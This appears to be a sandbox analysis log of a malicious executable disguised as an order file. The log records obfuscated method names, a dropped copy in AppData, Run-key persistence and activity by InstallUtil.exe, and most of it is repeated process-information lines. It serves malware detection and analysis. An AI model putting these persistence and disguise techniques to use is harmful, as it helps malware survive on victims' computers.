Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, fMAQMyit16EiVpv4oy.cs	High entropy of concatenated method names: 'cvW6i2gqS', 'O7nVEagse', 'kbulCL4BG', 'AKktwvlG1', 'm0kB48BXB', 'JmtnceARWsbB6kymmMr', 'UscHXbA0eliFm6UTVX6', 'VwdoU4A2dBmnO9nwyG9', 'Sa1EYgAWyJTCtXW5uJu', 'wHUg7nAziaEoCGaawGZ'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, JFxFC0FzswD4FBtcil6.cs	High entropy of concatenated method names: 'tSglXerwKn', 'nlFlsXvqKn', 'fUJlAYjKk3', 'q8Alo9jTxP', 'EIDl324hDU', 'csMlGUs1po', 'OihljhhVjV', 'EVGixepXoY', 'EJ0lU7mDCr', 'KtllaRbuXe'

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

File created: C:\Users\user\AppData\Roaming\Fqhnalw.exe

Jump to dropped file

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Fqhnalw			Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Fqhnalw			Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
